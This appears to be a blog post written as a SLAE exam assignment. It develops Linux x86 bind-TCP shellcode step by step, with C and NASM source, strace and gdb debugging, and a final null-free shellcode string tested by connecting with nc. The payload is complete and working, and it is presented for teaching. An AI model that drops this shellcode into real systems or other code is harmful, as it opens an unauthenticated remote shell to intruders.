Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
Assignment #1 for the SLAE exam is to write a shell bind TCP shellcode.
First, the requirements for assignment #1 were as follows.
Create a Shell_Bind_TCP Shellcode - Binds to a port - Execs Shell on incoming connection Port number should be easily configurable
This is my first post for the exam, so please let me know if the formatting or organization doesn’t really work well. Note that this post will probably be longer than the remaining problems. I will be covering my development and debugging process more in-depth for this first assignment.
Other than that, let’s jump right in!
First, I decided to write the initial application in C.
This would allow me to understand how a bind shell works at a higher level. After that, I could analyze the code in preparation for writing the actual assembly.
My application is well commented, so I do not think that I will need to explain it any further. You can find my completed example below. Note that while my C program starts out named shell_bind_tcp, I had to rename it once I named my Assembly application the same. I apologize for any confusion that this may cause.
That said, my C programming was a bit rusty, so I used the following resource for the socket programming.
#include <stdio.h> #include <netinet/in.h> // Define the port number to listen on #define PORT 4444 int main(int argc, char **argv) { // Create the socket (IPv4, TCP, and IP) int sock = socket(AF_INET, SOCK_STREAM, 0); // Configure the addr values for the bind() call struct sockaddr_in address; // IPv4 address.sin_family = AF_INET; // Bind to 0.0.0.0 address.sin_addr.s_addr = INADDR_ANY; // Use the defined port (htons is used to fix the byte order) address.sin_port = htons(PORT); // Bind the socket to the specified IP/port bind(sock, (struct sockaddr *)&address, sizeof(address)); // Listen on the socket listen(sock, 0); // Accept connections on the listening socket // NULLs are used because no information about the client is necessary - https://stackoverflow.com/questions/40689585 // http://man7.org/linux/man-pages/man2/accept.2.html int new_sock = accept(sock, NULL, NULL); // Duplicate the file descriptors for STDIN, STDOUT, and STDERR to the newly created socket // This functions as a redirect for all input and output over the listening socket, allowing interacting with the executed program // http://man7.org/linux/man-pages/man2/dup.2.html dup(new_sock, 0); dup(new_sock, 1); dup(new_sock, 2); // Execute /bin/sh with no arguments or environment strings execve("/bin/sh", NULL, NULL); }
With my C application written, it was time to make sure that it worked.
First, I checked the listening ports on my machine before, and after, execution, to verify that the port was properly opened.
doyler@slae:~/slae/_exam/shell_bind_tcp$ sudo netstat -anp | grep 4444 doyler@slae:~/slae/_exam/shell_bind_tcp$ sudo netstat -anp | grep 4444 tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 872/shell_bind_tcp doyler@slae:~/slae/_exam/shell_bind_tcp$ sudo netstat -anp | grep 4444 doyler@slae:~/slae/_exam/shell_bind_tcp$
Next, I ran the application itself, to begin listening for connections.
doyler@slae:~/slae/_exam/shell_bind_tcp$ ./shell_bind_tcp ^C
Finally, I connected to the socket, and was able to send commands and receive output!
doyler@slae:~/slae/_exam/shell_bind_tcp$ nc localhost 4444 whoami doyler id uid=1000(doyler) gid=1000(doyler) groups=1000(doyler),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare) exit
With the C program completed, I wanted to do some quick analysis to see how it worked.
First, I attempted to use strace to trace the program’s execution, including system calls.
Unfortunately, this returned a lot of information that didn’t seem useful to me.
doyler@slae:~/slae/_exam/shell_bind_tcp$ strace ./shell_bind_tcp execve("./shell_bind_tcp", ["./shell_bind_tcp"], [/* 36 vars */]) = 0 brk(0) = 0x95a8000 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7705000 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3 ... snip ...
With a little more research, I narrowed down the system calls to the ones that I manually specified in my code. This gave me a better handle of the execution, and I knew where to start for my assembly code.
doyler@slae:~/slae/_exam/shell_bind_tcp$ strace -e execve,socket,bind,listen,accept,dup2 ./shell_bind_tcp execve("./shell_bind_tcp", ["./shell_bind_tcp"], [/* 36 vars */]) = 0 socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3 bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) = 0 listen(3, 0) = 0 accept(3, 0, NULL) = 4 dup2(4, 0) = 0 dup2(4, 1) = 1 dup2(4, 2) = 2 execve("/bin/sh", [0], [/* 0 vars */]) = 0 --- SIGCHLD (Child exited) @ 0 (0) ---
First, I pulled up my handy syscall reference so that I would know the number and parameters for each of these calls.
Next, I also did some reading about the sys_socketcall call, as this would be handling all the socket interactions.
Per the man page, “User programs should call the appropriate functions by their usual names. Only standard library implementors and kernel hackers need to know about socketcall().” This means that I would need to call sys_socketcall, and then pass control to the appropriate method via the call parameter.
To find the proper values for some of my enums, I had to use some grep magic in my header files.
doyler@slae:~/slae/_exam/shell_bind_tcp$ sudo find / -name *.h -exec grep -Hn "AF_INET" {} \; 2>/dev/null ... snip ... /usr/src/linux-headers-3.13.0-32/include/linux/net.h:60: SOCK_STREAM = 1, ... snip ... /usr/src/linux-headers-3.13.0-32-generic/include/linux/socket.h:144:#define AF_INET 2 /* Internet IP Protocol */
Additionally, I found the proper order of the socaddr_in parameters on the IP man page.
struct sockaddr_in { sa_family_t sin_family; /* address family: AF_INET */ in_port_t sin_port; /* port in network byte order */ struct in_addr sin_addr; /* internet address */ };
Finally, I used the rest of the man pages for each of these methods to find the right parameters and types. I also added a small snippet to my original C application to find the length of the address struct.
printf("%i", sizeof(address));
My code is well commented, and you can find it below.
; Filename: shell_bind_tcp.nasm ; Author: Ray Doyle ; Website: https://www.doyler.net global _start section .text _start: ; http://man7.org/linux/man-pages/man2/socket.2.html ; Move 102 (sys_socketcall) into EAX mov eax, 0x66 ; Move 1 (SYS_SOCKET) into EBX mov ebx, 0x1 ; int sock = socket(AF_INET, SOCK_STREAM, 0); ; Push the variables for the socket() call onto the stack in reverse order ; Push 0 onto the stack (IP - 3rd argument) push 0x0 ; Push 1 onto the stack (SOCK_STREAM - 2nd argument) push 0x1 ; Push 2 onto the stack (AF_INET - 1st argument) push 0x2 ; Move the stack pointer into ECX, to point to the arguments for socket() mov ecx, esp ; Execute the socket() call int 0x80 ; Move the returned file descriptor from EAX to EDI for later usage mov edi, eax bind: ; http://man7.org/linux/man-pages/man2/bind.2.html ; Move 102 (sys_socketcall) into EAX mov eax, 0x66 ; Move 2 (SYS_BIND) into EBX mov ebx, 0x2 ; struct sockaddr_in address; ; address.sin_family = AF_INET; ; address.sin_addr.s_addr = INADDR_ANY; ; address.sin_port = htons(PORT); ; Creating the sockaddr_in structure ; Push 0 (INADDR_ANY) onto the stack push 0x0 ; Push 4444 (PORT) onto the stack push 0x5c11 ; Port number in network byte (big endian) order = 4444 ; Push 2 (AF_INET) onto the stack push 0x2 ; Move the stack pointer into ECX, to point to the sockaddr_in struct mov ecx, esp ; bind(sock, (struct sockaddr *)&address, sizeof(address)); ; Push 16 (the length of the address struct) onto the stack - 3rd argument push 0x10 ; Push ECX (the pointer to the address structure) onto the stack - 2nd argument push ecx ; Push EDI (the saved file descriptor for the socket) onto the stack - 1st argument push edi ; Move the stack pointer into ECX, to point to the arguments for bind() mov ecx, esp ; Execute the bind() call int 0x80 listen: ; http://man7.org/linux/man-pages/man2/listen.2.html ; Move 102 (sys_socketcall) into EAX mov eax, 0x66 ; Move 4 (SYS_LISTEN) into EBX mov ebx, 0x2 ; listen(sock, 0); ; Push 0 (backlog) onto the stack - 2nd argument push 0x0 ; Push EDI (sockfd) onto the stack - 1st argument push edi ; Move the stack pointer into ECX, to point to the arguments for listen() mov ecx, esp ; Execute the listen() call int 0x80 accept: ; http://man7.org/linux/man-pages/man2/accept.2.html ; Move 102 (sys_socketcall) into EAX mov eax, 0x66 ; Move 5 (SYS_ACCEPT) into EBX mov ebx, 0x2 ; int new_sock = accept(sock, NULL, NULL); ; Push 0 (addrlen) onto the stack - 3rd argument push 0x0 ; Push 0 (addr) onto the stack - 2nd argument push 0x0 ; Push EDI (sockfd) onto the stack - 1st argument push edi ; Move the stack pointer into ECX, to point to the arguments for accept() mov ecx, esp ; Execute the accept() call int 0x80 ; Move the returned file descriptor from EAX to EDI for later usaged mov edi, eax dup: ; http://man7.org/linux/man-pages/man2/dup2.2.html ; Move 63 (sys_dup2) into EAX mov eax, 0x3f ; dup2(new_sock, 0); ; Push 0 (STDIN) onto the stack - 2nd argument push 0x0 ; Push EDI (the saved file descriptor for the socket) onto the stack - 1st argument push edi ; Execute the dup2() call int 0x80 ; Move 63 (sys_dup2) into EAX mov eax, 0x3f ; dup2(new_sock, 1); ; Push 1 (STDOUT) onto the stack - 2nd argument push 0x1 ; Push EDI (the saved file descriptor for the socket) onto the stack - 1st argument push edi ; Execute the dup2() call int 0x80 ; Move 63 (sys_dup2) into EAX mov eax, 0x3f ; dup2(new_sock, 2); ; Push 2 (STDERR) onto the stack - 2nd argument push 0x2 ; Push EDI (the saved file descriptor for the socket) onto the stack - 1st argument push edi ; Execute the dup2() call int 0x80 execve: ; http://man7.org/linux/man-pages/man2/execve.2.html ; Push the first null dword (terminate the filename) xor eax, eax push eax ; Move 11 (sys_execve) into EAX mov eax, 0xb ; execve("/bin/sh", NULL, NULL); ; Push //bin/sh (8 bytes) onto the stack push 0x68732f2f push 0x6e69622f ; Move the stack pointer into EBX, to point to the filename mov ebx, esp ; Move 0 (argv) into ECX mov ecx, 0x0 ; Move 0 (envp) into EDX mov edx, 0x0 ; Execute the execve() call int 0x80
Unfortunately, as you might have been able to tell, there were more than a few null bytes in my first attempt.
doyler@slae:~/slae/_exam/shell_bind_tcp$ ./compile.sh shell_bind_tcp [+] Assembling with Nasm ... [+] Linking ... [+] Done! doyler@slae:~/slae/_exam/shell_bind_tcp$ objdump -d ./shell_bind_tcp|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' "\xb8\x66\x00\x00\x00\xbb\x01\x00\x00\x00\x6a\x00\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc7\xb8\x66\x00\x00\x00\xbb\x02\x00\x00\x00\x6a\x00\x68\x11\x5c\x00\x00\x6a\x02\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb8\x66\x00\x00\x00\xbb\x02\x00\x00\x00\x6a\x00\x57\x89\xe1\xcd\x80\xb8\x66\x00\x00\x00\xbb\x02\x00\x00\x00\x6a\x00\x6a\x00\x57\x89\xe1\xcd\x80\x89\xc7\xb8\x3f\x00\x00\x00\x6a\x00\x57\xcd\x80\xb8\x3f\x00\x00\x00\x6a\x01\x57\xcd\x80\xb8\x3f\x00\x00\x00\x6a\x02\x57\xcd\x80\x31\xc0\x50\xb8\x0b\x00\x00\x00\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb9\x00\x00\x00\x00\xba\x00\x00\x00\x00\xcd\x80"
First, I set about replacing the EAX, EBX, ECX, and EDX references with AL, BL, CL, and DL.
Next, I replaced all the ‘push 0x0’ calls with ‘xor esi, esi; push esi’ (or another unused register).
When I compiled this edited version of my application, I was left with only two more null bytes, which I have highlighted below.
doyler@slae:~/slae/_exam/shell_bind_tcp$ ./compile.sh shell_bind_tcp [+] Assembling with Nasm ... [+] Linking ... [+] Done! doyler@slae:~/slae/_exam/shell_bind_tcp$ objdump -d shell_bind_tcp -M intel shell_bind_tcp: file format elf32-i386 Disassembly of section .text: 08048060 <_start>: 8048060: b0 66 mov al,0x66 8048062: b3 01 mov bl,0x1 8048064: 31 f6 xor esi,esi 8048066: 56 push esi 8048067: 6a 01 push 0x1 8048069: 6a 02 push 0x2 804806b: 89 e1 mov ecx,esp 804806d: cd 80 int 0x80 804806f: 89 c7 mov edi,eax 08048071 <bind>: 8048071: b0 66 mov al,0x66 8048073: b3 02 mov bl,0x2 8048075: 31 f6 xor esi,esi 8048077: 56 push esi 8048078: 68 11 5c 00 00 push 0x5c11 804807d: 6a 02 push 0x2 804807f: 89 e1 mov ecx,esp 8048081: 6a 10 push 0x10 8048083: 51 push ecx 8048084: 57 push edi 8048085: 89 e1 mov ecx,esp 8048087: cd 80 int 0x80 08048089 <listen>: 8048089: b0 66 mov al,0x66 804808b: b3 02 mov bl,0x2 804808d: 31 f6 xor esi,esi 804808f: 56 push esi 8048090: 57 push edi 8048091: 89 e1 mov ecx,esp 8048093: cd 80 int 0x80 08048095 <accept>: 8048095: b0 66 mov al,0x66 8048097: b3 02 mov bl,0x2 8048099: 31 f6 xor esi,esi 804809b: 56 push esi 804809c: 31 f6 xor esi,esi 804809e: 56 push esi 804809f: 57 push edi 80480a0: 89 e1 mov ecx,esp 80480a2: cd 80 int 0x80 80480a4: 89 c7 mov edi,eax 080480a6 <dup>: 80480a6: b0 3f mov al,0x3f 80480a8: 31 f6 xor esi,esi 80480aa: 56 push esi 80480ab: 57 push edi 80480ac: cd 80 int 0x80 80480ae: b0 3f mov al,0x3f 80480b0: 6a 01 push 0x1 80480b2: 57 push edi 80480b3: cd 80 int 0x80 80480b5: b0 3f mov al,0x3f 80480b7: 6a 02 push 0x2 80480b9: 57 push edi 80480ba: cd 80 int 0x80 080480bc <execve>: 80480bc: 31 c0 xor eax,eax 80480be: 50 push eax 80480bf: b0 0b mov al,0xb 80480c1: 68 2f 2f 73 68 push 0x68732f2f 80480c6: 68 2f 62 69 6e push 0x6e69622f 80480cb: 89 e3 mov ebx,esp 80480cd: 31 c9 xor ecx,ecx 80480cf: 31 d2 xor edx,edx 80480d1: cd 80 int 0x80
This was quite simple to fix, as I just had to replace the ‘push’ with a ‘pushw’ instruction.
8048078: 66 68 11 5c pushw 0x5c11
With my null bytes removed, it was time to test the shellcode.
First, I extracted the shellcode using the same one-liner from my “Hello World” example.
doyler@slae:~/slae/_exam/shell_bind_tcp$ objdump -d ./shell_bind_tcp|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' "\xb0\x66\xb3\x01\x31\xf6\x56\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc7\xb0\x66\xb3\x02\x31\xf6\x56\x66\x68\x11\x5c\x6a\x02\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x02\x31\xf6\x56\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x02\x31\xf6\x56\x31\xf6\x56\x57\x89\xe1\xcd\x80\x89\xc7\xb0\x3f\x31\xf6\x56\x57\xcd\x80\xb0\x3f\x6a\x01\x57\xcd\x80\xb0\x3f\x6a\x02\x57\xcd\x80\x31\xc0\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xcd\x80"
Next, I compiled the wrapper program and executed it. Unfortunately, it seemed that no socket was actually being opened, and execve(“/bin/sh”) was the only call properly executing.
doyler@slae:~/slae/_exam/shell_bind_tcp$ gcc -o shellcode -fno-stack-protector -z execstack shellcode.c doyler@slae:~/slae/_exam/shell_bind_tcp$ ./shellcode Shellcode Length: 114 $ id uid=1000(doyler) gid=1000(doyler) groups=1000(doyler),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare) $ exit
A very quick debugging session led me to discover my issues. I wasn’t actually zeroing out the entire registers, so my ‘push al’ calls were not leaving registers with the proper values.
doyler@slae:~/slae/_exam/shell_bind_tcp$ gdb -q shellcode Reading symbols from /home/doyler/slae/_exam/shell_bind_tcp/shellcode...(no debugging symbols found)...done. (gdb) set disassembly-flavor intel (gdb) break *&code Breakpoint 1 at 0x804a040 (gdb) define hook-stop Type commands for definition of "hook-stop". End with a line saying just "end". >print/x $eax >print/x $ebx >print/x $ecx >print/x $edx >print/x $edi >x/8xw $esp >disassemble $eip,+10 >end (gdb) r Starting program: /home/doyler/slae/_exam/shell_bind_tcp/shellcode Shellcode Length: 114 $1 = 0x804a040 $2 = 0xb7fc6ff4 $3 = 0x0 $4 = 0x0 $5 = 0x804a0b3 0xbffff2ec: 0x08048430 0x08048510 0x00000072 0x08049ff4 0xbffff2fc: 0x08048461 0xffffffff 0xb7e51dd6 0xb7fc6ff4 Dump of assembler code from 0x804a040 to 0x804a04a: => 0x0804a040 <code+0>: mov al,0x66 0x0804a042 <code+2>: mov bl,0x1 0x0804a044 <code+4>: xor esi,esi 0x0804a046 <code+6>: push esi 0x0804a047 <code+7>: push 0x1 0x0804a049 <code+9>: push 0x2 End of assembler dump. Breakpoint 1, 0x0804a040 in code () (gdb) nexti $6 = 0x804a066 $7 = 0xb7fc6ff4 $8 = 0x0 $9 = 0x0 $10 = 0x804a0b3
With the issue in mind, I zeroed out registers before I pushed data into them. This was the only real change that I made to version #1, and you can find the modified code below.
; Filename: shell_bind_tcp.nasm ; Author: Ray Doyle ; Website: https://www.doyler.net global _start section .text _start: ; http://man7.org/linux/man-pages/man2/socket.2.html ; Move 102 (sys_socketcall) into EAX xor eax, eax mov al, 0x66 ; Move 1 (SYS_SOCKET) into EBX xor ebx, ebx mov bl, 0x1 ; int sock = socket(AF_INET, SOCK_STREAM, 0); ; Push the variables for the socket() call onto the stack in reverse order ; Push 0 onto the stack (IP - 3rd argument) xor esi, esi push esi ; Push 1 onto the stack (SOCK_STREAM - 2nd argument) push 0x1 ; Push 2 onto the stack (AF_INET - 1st argument) push 0x2 ; Move the stack pointer into ECX, to point to the arguments for socket() mov ecx, esp ; Execute the socket() call int 0x80 ; Move the returned file descriptor from EAX to EDI for later usage mov edi, eax bind: ; http://man7.org/linux/man-pages/man2/bind.2.html ; Move 102 (sys_socketcall) into EAX xor eax, eax mov al, 0x66 ; Move 2 (SYS_BIND) into EBX xor ebx, ebx mov bl, 0x2 ; struct sockaddr_in address; ; address.sin_family = AF_INET; ; address.sin_addr.s_addr = INADDR_ANY; ; address.sin_port = htons(PORT); ; Creating the sockaddr_in structure ; Push 0 (INADDR_ANY) onto the stack xor esi, esi push esi ; Push 4444 (PORT) onto the stack push word 0x5c11 ; Port number in network byte (big endian) order = 4444 ; Push 2 (AF_INET) onto the stack push 0x2 ; Move the stack pointer into ECX, to point to the sockaddr_in struct mov ecx, esp ; bind(sock, (struct sockaddr *)&address, sizeof(address)); ; Push 16 (the length of the address struct) onto the stack - 3rd argument push 0x10 ; Push ECX (the pointer to the address structure) onto the stack - 2nd argument push ecx ; Push EDI (the saved file descriptor for the socket) onto the stack - 1st argument push edi ; Move the stack pointer into ECX, to point to the arguments for bind() mov ecx, esp ; Execute the bind() call int 0x80 listen: ; http://man7.org/linux/man-pages/man2/listen.2.html ; Move 102 (sys_socketcall) into EAX xor eax, eax mov al, 0x66 ; Move 4 (SYS_LISTEN) into EBX xor ebx, ebx mov bl, 0x2 ; listen(sock, 0); ; Push 0 (backlog) onto the stack - 2nd argument xor esi, esi push esi ; Push EDI (sockfd) onto the stack - 1st argument push edi ; Move the stack pointer into ECX, to point to the arguments for listen() mov ecx, esp ; Execute the listen() call int 0x80 accept: ; http://man7.org/linux/man-pages/man2/accept.2.html ; Move 102 (sys_socketcall) into EAX xor eax, eax mov al, 0x66 ; Move 5 (SYS_ACCEPT) into EBX xor ebx, ebx mov bl, 0x2 ; int new_sock = accept(sock, NULL, NULL); ; Push 0 (addrlen) onto the stack - 3rd argument xor esi, esi push esi ; Push 0 (addr) onto the stack - 2nd argument xor esi, esi push esi ; Push EDI (sockfd) onto the stack - 1st argument push edi ; Move the stack pointer into ECX, to point to the arguments for accept() mov ecx, esp ; Execute the accept() call int 0x80 ; Move the returned file descriptor from EAX to EDI for later usaged mov edi, eax dup: ; http://man7.org/linux/man-pages/man2/dup2.2.html ; Move 63 (sys_dup2) into EAX xor eax, eax mov al, 0x3f ; dup2(new_sock, 0); ; Move 0 (STDIN) into ECX - 2nd argument xor ecx, ecx ; Move EDI (the saved file descriptor for the socket) into EBX - 1st argument mov ebx, edi ; Execute the dup2() call int 0x80 ; Move 63 (sys_dup2) into EAX xor eax, eax mov al, 0x3f ; dup2(new_sock, 1); ; Move 1 (STDOUT) into ECX - 2nd argument xor ecx, ecx mov cl, 0x1 ; Move EDI (the saved file descriptor for the socket) into EBX - 1st argument mov ebx, edi ; Execute the dup2() call int 0x80 ; Move 63 (sys_dup2) into EAX xor eax, eax mov al, 0x3f ; dup2(new_sock, 2); ; Move 2 (STDERR) into ECX - 2nd argument xor ecx, ecx mov cl, 0x2 ; Move EDI (the saved file descriptor for the socket) into EBX - 1st argument mov ebx, edi ; Execute the dup2() call int 0x80 execve: ; http://man7.org/linux/man-pages/man2/execve.2.html ; Push the first null dword (terminate the filename) xor eax, eax push eax ; Move 11 (sys_execve) into EAX mov al, 0xb ; execve("/bin/sh", NULL, NULL); ; Push //bin/sh (8 bytes) onto the stack push 0x68732f2f push 0x6e69622f ; Move the stack pointer into EBX, to point to the filename mov ebx, esp ; Move 0 (argv) into ECX xor ecx, ecx ; Move 0 (envp) into EDX xor edx, edx ; Execute the execve() call int 0x80
With my second iteration complete, it was time to trace my program’s execution.
Unfortunately, it looks like the application failed on the bind() syscall.
doyler@slae:~/slae/_exam/shell_bind_tcp$ strace -e execve,socket,bind,listen,accept,dup2 ./shellcode execve("./shellcode", ["./shellcode"], [/* 36 vars */]) = 0 Shellcode Length: 142 socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3 bind(3, {sa_family=AF_INET, sin_port=htons(0), sin_addr=inet_addr("17.92.0.0")}, 16) = -1 EADDRNOTAVAIL (Cannot assign requested address) bind(3, NULL, 3) = -1 EFAULT (Bad address) bind(3, NULL, 0) = -1 EINVAL (Invalid argument) dup2(-22, 0) = -1 EBADF (Bad file descriptor) dup2(-22, 1) = -1 EBADF (Bad file descriptor) dup2(-22, 2) = -1 EBADF (Bad file descriptor) execve("/bin//sh", [0], [/* 0 vars */]) = 0
Once I realized that I needed to push a word, and not an entire dword, for the address.sin_family, then I fixed that call as well. Unfortunately, I then had some issues with the calls after bind.
doyler@slae:~/slae/_exam/shell_bind_tcp$ strace -e execve,socket,bind,listen,accept,dup2 ./shell_bind_tcp execve("./shell_bind_tcp", ["./shell_bind_tcp"], [/* 36 vars */]) = 0 socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3 bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) = 0 bind(3, NULL, 3) = -1 EFAULT (Bad address)
A quick glance made me realize that, while my comments used the right call #s for sys_socketcall, I never actually changed them. Once I update these to their proper value, the execution looked great!
doyler@slae:~/slae/_exam/shell_bind_tcp$ strace -e execve,socket,bind,listen,accept,dup2 ./shell_bind_tcp execve("./shell_bind_tcp", ["./shell_bind_tcp"], [/* 36 vars */]) = 0 socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3 bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) = 0 listen(3, 0) = 0 accept(3, 0, NULL) = 4 dup2(4, 0) = 0 dup2(4, 1) = 1 dup2(4, 2) = 2 execve("/bin//sh", [0], [/* 0 vars */]) = 0 --- SIGCHLD (Child exited) @ 0 (0) ---
After all of my changes, you can find the the third iteration of my application below.
; Filename: shell_bind_tcp.nasm ; Author: Ray Doyle ; Website: https://www.doyler.net global _start section .text _start: ; http://man7.org/linux/man-pages/man2/socket.2.html ; Move 102 (sys_socketcall) into EAX xor eax, eax mov al, 0x66 ; Move 1 (SYS_SOCKET) into EBX xor ebx, ebx mov bl, 0x1 ; int sock = socket(AF_INET, SOCK_STREAM, 0); ; Push the variables for the socket() call onto the stack in reverse order ; Push 0 onto the stack (IP - 3rd argument) xor esi, esi push esi ; Push 1 onto the stack (SOCK_STREAM - 2nd argument) push 0x1 ; Push 2 onto the stack (AF_INET - 1st argument) push 0x2 ; Move the stack pointer into ECX, to point to the arguments for socket() mov ecx, esp ; Execute the socket() call int 0x80 ; Move the returned file descriptor from EAX to EDI for later usage mov edi, eax bind: ; http://man7.org/linux/man-pages/man2/bind.2.html ; Move 102 (sys_socketcall) into EAX xor eax, eax mov al, 0x66 ; Move 2 (SYS_BIND) into EBX xor ebx, ebx mov bl, 0x2 ; struct sockaddr_in address; ; address.sin_family = AF_INET; ; address.sin_addr.s_addr = INADDR_ANY; ; address.sin_port = htons(PORT); ; Creating the sockaddr_in structure ; Push 0 (INADDR_ANY) onto the stack xor esi, esi push esi ; Push 4444 (PORT) onto the stack push word 0x5c11 ; Port number in network byte (big endian) order = 4444 ; Push 2 (AF_INET) onto the stack push word 0x2 ; Move the stack pointer into ECX, to point to the sockaddr_in struct mov ecx, esp ; bind(sock, (struct sockaddr *)&address, sizeof(address)); ; Push 16 (the length of the address struct) onto the stack - 3rd argument push 0x10 ; Push ECX (the pointer to the address structure) onto the stack - 2nd argument push ecx ; Push EDI (the saved file descriptor for the socket) onto the stack - 1st argument push edi ; Move the stack pointer into ECX, to point to the arguments for bind() mov ecx, esp ; Execute the bind() call int 0x80 listen: ; http://man7.org/linux/man-pages/man2/listen.2.html ; Move 102 (sys_socketcall) into EAX xor eax, eax mov al, 0x66 ; Move 4 (SYS_LISTEN) into EBX xor ebx, ebx mov bl, 0x4 ; listen(sock, 0); ; Push 0 (backlog) onto the stack - 2nd argument xor esi, esi push esi ; Push EDI (sockfd) onto the stack - 1st argument push edi ; Move the stack pointer into ECX, to point to the arguments for listen() mov ecx, esp ; Execute the listen() call int 0x80 accept: ; http://man7.org/linux/man-pages/man2/accept.2.html ; Move 102 (sys_socketcall) into EAX xor eax, eax mov al, 0x66 ; Move 5 (SYS_ACCEPT) into EBX xor ebx, ebx mov bl, 0x5 ; int new_sock = accept(sock, NULL, NULL); ; Push 0 (addrlen) onto the stack - 3rd argument xor esi, esi push esi ; Push 0 (addr) onto the stack - 2nd argument xor esi, esi push esi ; Push EDI (sockfd) onto the stack - 1st argument push edi ; Move the stack pointer into ECX, to point to the arguments for accept() mov ecx, esp ; Execute the accept() call int 0x80 ; Move the returned file descriptor from EAX to EDI for later usaged mov edi, eax dup: ; http://man7.org/linux/man-pages/man2/dup2.2.html ; Move 63 (sys_dup2) into EAX xor eax, eax mov al, 0x3f ; dup2(new_sock, 0); ; Move 0 (STDIN) into ECX - 2nd argument xor ecx, ecx ; Move EDI (the saved file descriptor for the socket) into EBX - 1st argument mov ebx, edi ; Execute the dup2() call int 0x80 ; Move 63 (sys_dup2) into EAX xor eax, eax mov al, 0x3f ; dup2(new_sock, 1); ; Move 1 (STDOUT) into ECX - 2nd argument xor ecx, ecx mov cl, 0x1 ; Move EDI (the saved file descriptor for the socket) into EBX - 1st argument mov ebx, edi ; Execute the dup2() call int 0x80 ; Move 63 (sys_dup2) into EAX xor eax, eax mov al, 0x3f ; dup2(new_sock, 2); ; Move 2 (STDERR) into ECX - 2nd argument xor ecx, ecx mov cl, 0x2 ; Move EDI (the saved file descriptor for the socket) into EBX - 1st argument mov ebx, edi ; Execute the dup2() call int 0x80 execve: ; http://man7.org/linux/man-pages/man2/execve.2.html ; Push the first null dword (terminate the filename) xor eax, eax push eax ; Move 11 (sys_execve) into EAX mov al, 0xb ; execve("/bin/sh", NULL, NULL); ; Push //bin/sh (8 bytes) onto the stack push 0x68732f2f push 0x6e69622f ; Move the stack pointer into EBX, to point to the filename mov ebx, esp ; Move 0 (argv) into ECX xor ecx, ecx ; Move 0 (envp) into EDX xor edx, edx ; Execute the execve() call int 0x80
With a successful strace, it was time to test my application as actual shellcode.
First, I grabbed the shellcode string from my binary.
doyler@slae:~/slae/_exam/shell_bind_tcp$ objdump -d ./shell_bind_tcp|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' "\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xf6\x56\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc7\x31\xc0\xb0\x66\x31\xdb\xb3\x02\x31\xf6\x56\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x04\x31\xf6\x56\x57\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x05\x31\xf6\x56\x31\xf6\x56\x57\x89\xe1\xcd\x80\x89\xc7\x31\xc0\xb0\x3f\x31\xc9\x89\xfb\xcd\x80\x31\xc0\xb0\x3f\x31\xc9\xb1\x01\x89\xfb\xcd\x80\x31\xc0\xb0\x3f\x31\xc9\xb1\x02\x89\xfb\xcd\x80\x31\xc0\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xcd\x80"
Next, I ran the compiled shellcode application.
doyler@slae:~/slae/_exam/shell_bind_tcp$ ./shellcode Shellcode Length: 143 doyler@slae:~/slae/_exam/shell_bind_tcp$
While that was running, I checked my machine to verify that the port was open and listening.
doyler@slae:~/slae/_exam/shell_bind_tcp$ sudo netstat -anp | grep 4444 doyler@slae:~/slae/_exam/shell_bind_tcp$ sudo netstat -anp | grep 4444 tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 1014/shellcode doyler@slae:~/slae/_exam/shell_bind_tcp$
Finally, i connected to the port, and got execution over the shell!
